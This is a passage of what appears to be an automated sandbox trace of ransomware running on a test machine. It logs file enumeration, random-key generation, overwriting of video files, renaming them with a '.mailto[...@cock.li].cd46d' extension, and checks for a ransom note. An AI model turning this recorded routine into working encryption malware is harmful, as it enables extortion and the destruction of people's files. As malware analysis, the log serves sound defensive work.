(HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0380 [0050.233] NtQuerySystemTime (in: CurrentTime=0xf3bfc1c | out: CurrentTime=0xf3bfc1c*=132174898142088000) returned 0x0 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x16abeaec [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x29611817 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x5010a4a0 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x3ed828f [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x3de5e35d [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0xa966252 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x5358770b [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x6a5c4286 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x51edf89b [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x5aff8dca [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x3d4484d2 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0xab81e5f [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x6435289d [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x74e08ae8 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x6775ada9 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x16efe687 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x7bb63b55 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x4021ed04 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x97c226e [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x79149311 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x38c304d4 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x6e6bff99 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x11067453 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x32654d9a [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x37fe3a3 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x772bf4f5 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x8085fcc [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x1ed0af18 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x1c0534f7 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x76970cde [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x4e3350a5 [0050.233] RtlRandomEx (in: Seed=0xf3bfc28 | out: Seed=0xf3bfc28) returned 0x2637f6d7 [0050.245] ReadFile (in: hFile=0xb30, lpBuffer=0x9634888, nNumberOfBytesToRead=0x34b6, lpNumberOfBytesRead=0xf3bfc18, lpOverlapped=0x0 | out: lpBuffer=0x9634888*, lpNumberOfBytesRead=0xf3bfc18*=0x34b6, lpOverlapped=0x0) returned 1 [0050.246] SetFilePointerEx (in: hFile=0xb30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.246] WriteFile (in: hFile=0xb30, lpBuffer=0x9641090*, nNumberOfBytesToWrite=0x34b6, lpNumberOfBytesWritten=0xf3bfc14, lpOverlapped=0x0 | out: lpBuffer=0x9641090*, lpNumberOfBytesWritten=0xf3bfc14*=0x34b6, lpOverlapped=0x0) returned 1 [0053.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce9e0 [0053.307] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cea08 [0053.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea08) returned 1 [0053.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9641090) returned 1 [0053.307] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9634888) returned 1 [0053.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a858) returned 1 [0053.311] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0053.311] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x440360 [0053.311] SetFilePointerEx (in: hFile=0xb30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.311] WriteFile (in: hFile=0xb30, lpBuffer=0x5ed6d50*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0xf3bfc7c, lpOverlapped=0x0 | out: lpBuffer=0x5ed6d50*, lpNumberOfBytesWritten=0xf3bfc7c*=0x115, lpOverlapped=0x0) returned 1 [0053.554] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6d50) returned 1 [0053.554] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440920) returned 1 [0053.554] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea08) returned 1 [0053.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440360) returned 1 [0053.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce9e0) returned 1 [0053.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0358) returned 1 [0053.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03a8) returned 1 [0053.555] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03d0) returned 1 [0053.555] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e025a0 [0053.555] wcscpy (in: _Dest=0x5e025a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv" [0053.555] wcscat (in: _Dest=0x5e025a0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv.mailto[2Hamlampampom@cock.li].cd46d" [0053.555] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf3bfc34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\MkYUE6adrX JEK.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.555] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d460 [0054.020] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d460) returned 1 [0054.020] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44f9e0) returned 1 [0054.020] NtQueryInformationFile (in: FileHandle=0xb30, IoStatusBlock=0xf3bfc40, FileInformation=0xf3bfc18, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf3bfc40, FileInformation=0xf3bfc18) returned 0x0 [0054.020] NtSetInformationFile (FileHandle=0xb30, IoStatusBlock=0xf3bfc40, FileInformation=0xf3bfc18, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.023] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e025a0) returned 1 [0054.023] FlushFileBuffers (hFile=0xb30) returned 1 [0054.084] CloseHandle (hObject=0xb30) returned 1 [0054.085] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b168 [0054.085] wcscpy (in: _Dest=0x43b168, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.085] wcscat (in: _Dest=0x43b168, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.085] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.085] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b168) returned 1 [0054.086] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 Thread: id = 619 os_tid = 0x640 [0050.370] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x43a8d0 [0050.370] wcscpy (in: _Dest=0x43a8d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d" [0050.371] wcscat (in: _Dest=0x43a8d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" [0050.371] wcscat (in: _Dest=0x43a8d0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\*" [0050.371] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b9da8 [0050.371] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\*", lpFindFileData=0x4b9da8 | out: lpFindFileData=0x4b9da8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a72f7a0, ftCreationTime.dwHighDateTime=0x1d4c9de, ftLastAccessTime.dwLowDateTime=0x8ed39b60, ftLastAccessTime.dwHighDateTime=0x1d4d3de, ftLastWriteTime.dwLowDateTime=0x8ed39b60, ftLastWriteTime.dwHighDateTime=0x1d4d3de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4403e0 [0050.371] wcscmp (_String1=".", _String2=".") returned 0 [0050.371] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x4b9da8 | out: lpFindFileData=0x4b9da8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a72f7a0, ftCreationTime.dwHighDateTime=0x1d4c9de, ftLastAccessTime.dwLowDateTime=0x8ed39b60, ftLastAccessTime.dwHighDateTime=0x1d4d3de, ftLastWriteTime.dwLowDateTime=0x8ed39b60, ftLastWriteTime.dwHighDateTime=0x1d4d3de, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.371] wcscmp (_String1="..", _String2=".") returned 1 [0050.371] wcscmp (_String1="..", _String2="..") returned 0 [0050.371] FindNextFileW (in: hFindFile=0x4403e0, lpFindFileData=0x4b9da8 | out: lpFindFileData=0x4b9da8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc42e5fe0, ftCreationTime.dwHighDateTime=0x1d4cb76, ftLastAccessTime.dwLowDateTime=0x94c845b0, ftLastAccessTime.dwHighDateTime=0x1d4d132, ftLastWriteTime.dwLowDateTime=0x94c845b0, ftLastWriteTime.dwHighDateTime=0x1d4d132, nFileSizeHigh=0x0, nFileSizeLow=0x11eee, dwReserved0=0x0, dwReserved1=0x0, cFileName="6wLIX0T.flv", cAlternateFileName="")) returned 1 [0050.371] wcscmp (_String1="6wLIX0T.flv", _String2=".") returned 1 [0050.371] wcscmp (_String1="6wLIX0T.flv", _String2="..") returned 1 [0050.371] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x447e48 [0050.371] wcscpy (in: _Dest=0x447e48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d" [0050.371] wcscat (in: _Dest=0x447e48, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" [0050.371] wcscat (in: _Dest=0x447e48, _Source="6wLIX0T.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\6wLIX0T.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\6wLIX0T.flv" Thread: id = 620 os_tid = 0x868 [0050.372] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\noawgrze.avi")) returned 0x20 [0050.372] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi", dwFileAttributes=0x20) returned 1 [0050.372] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\noawgrze.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb38 [0050.372] GetFileSizeEx (in: hFile=0xb38, lpFileSize=0xf53fe48 | out: lpFileSize=0xf53fe48*=48607) returned 1 [0050.372] SetFilePointerEx (in: hFile=0xb38, liDistanceToMove=0xbddb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.372] ReadFile (in: hFile=0xb38, lpBuffer=0xf53fdcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf53fdc8, lpOverlapped=0x0 | out: lpBuffer=0xf53fdcc*, lpNumberOfBytesRead=0xf53fdc8*=0x4, lpOverlapped=0x0) returned 1 [0050.373] SetFilePointerEx (in: hFile=0xb38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.373] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0380 [0050.373] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d03f8 [0050.373] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0420 [0050.373] NtQuerySystemTime (in: CurrentTime=0xf53fda8 | out: CurrentTime=0xf53fda8*=132174898143492000) returned 0x0 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x4955b06c [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x66d61741 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x59163e03 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0xbc6af24 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x33cec8a4 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x3c6806f2 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x61a5d390 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x205e290a [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0xa387ee9 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x70efcee5 [0050.373] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x2e0db24f [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x5d392736 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x64a32dfe [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x3087f99f [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x4d2fd3b8 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x61528a06 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x6008f946 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x4e9f16e5 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x3bbda549 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x4da78728 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x19788c2a [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x2d02c2e2 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x1ee8c679 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x68552808 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x11b5f40f [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x78d0639e [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x28e683c5 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x95149ae [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x63e323dd [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x7bf6aeba [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x61f19a03 [0050.374] RtlRandomEx (in: Seed=0xf53fdb4 | out: Seed=0xf53fdb4) returned 0x53476bad [0050.386] ReadFile (in: hFile=0xb38, lpBuffer=0x964d898, nNumberOfBytesToRead=0xbddf, lpNumberOfBytesRead=0xf53fda4, lpOverlapped=0x0 | out: lpBuffer=0x964d898*, lpNumberOfBytesRead=0xf53fda4*=0xbddf, lpOverlapped=0x0) returned 1 [0050.387] SetFilePointerEx (in: hFile=0xb38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.388] WriteFile (in: hFile=0xb38, lpBuffer=0x965a0a0*, nNumberOfBytesToWrite=0xbddf, lpNumberOfBytesWritten=0xf53fda0, lpOverlapped=0x0 | out: lpBuffer=0x965a0a0*, lpNumberOfBytesWritten=0xf53fda0*=0xbddf, lpOverlapped=0x0) returned 1 [0053.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cea30 [0053.313] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cea58 [0053.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea58) returned 1 [0053.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x965a0a0) returned 1 [0053.313] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x964d898) returned 1 [0053.317] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a948) returned 1 [0053.317] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0053.317] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce1f0 [0053.317] SetFilePointerEx (in: hFile=0xb38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.317] WriteFile (in: hFile=0xb38, lpBuffer=0x5ed6e70*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xf53fe08, lpOverlapped=0x0 | out: lpBuffer=0x5ed6e70*, lpNumberOfBytesWritten=0xf53fe08*=0x109, lpOverlapped=0x0) returned 1 [0053.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6e70) returned 1 [0053.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce220) returned 1 [0053.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea58) returned 1 [0053.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce1f0) returned 1 [0053.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea30) returned 1 [0053.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d03f8) returned 1 [0053.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0448) returned 1 [0053.556] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0470) returned 1 [0053.556] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xac) returned 0x45c9c8 [0053.556] wcscpy (in: _Dest=0x45c9c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi" [0053.556] wcscat (in: _Dest=0x45c9c8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi.mailto[2Hamlampampom@cock.li].cd46d" [0053.556] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf53fdc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\NOAwgrzE.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.556] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00610 [0054.022] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00610) returned 1 [0054.022] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x42a990) returned 1 [0054.022] NtQueryInformationFile (in: FileHandle=0xb38, IoStatusBlock=0xf53fdcc, FileInformation=0xf53fda4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf53fdcc, FileInformation=0xf53fda4) returned 0x0 [0054.022] NtSetInformationFile (FileHandle=0xb38, IoStatusBlock=0xf53fdcc, FileInformation=0xf53fda4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.026] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c9c8) returned 1 [0054.026] FlushFileBuffers (hFile=0xb38) returned 1 [0054.056] CloseHandle (hObject=0xb38) returned 1 [0054.057] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x437b98 [0054.057] wcscpy (in: _Dest=0x437b98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.057] wcscat (in: _Dest=0x437b98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.057] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0054.057] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e46f08) returned 1 Thread: id = 621 os_tid = 0x494 [0050.388] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ol9qae geyu.flv")) returned 0x20 [0050.388] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv", dwFileAttributes=0x20) returned 1 [0050.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ol9qae geyu.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb3c [0050.388] GetFileSizeEx (in: hFile=0xb3c, lpFileSize=0xd61fa90 | out: lpFileSize=0xd61fa90*=74130) returned 1 [0050.388] SetFilePointerEx (in: hFile=0xb3c, liDistanceToMove=0x1218e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.389] ReadFile (in: hFile=0xb3c, lpBuffer=0xd61fa14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd61fa10, lpOverlapped=0x0 | out: lpBuffer=0xd61fa14*, lpNumberOfBytesRead=0xd61fa10*=0x4, lpOverlapped=0x0) returned 1 [0050.389] SetFilePointerEx (in: hFile=0xb3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.389] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0380 [0050.389] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0420 [0050.389] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0050.389] NtQuerySystemTime (in: CurrentTime=0xd61f9f0 | out: CurrentTime=0xd61f9f0*=132174898143648000) returned 0x0 [0050.389] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x40af82b7 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x703d0d24 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: 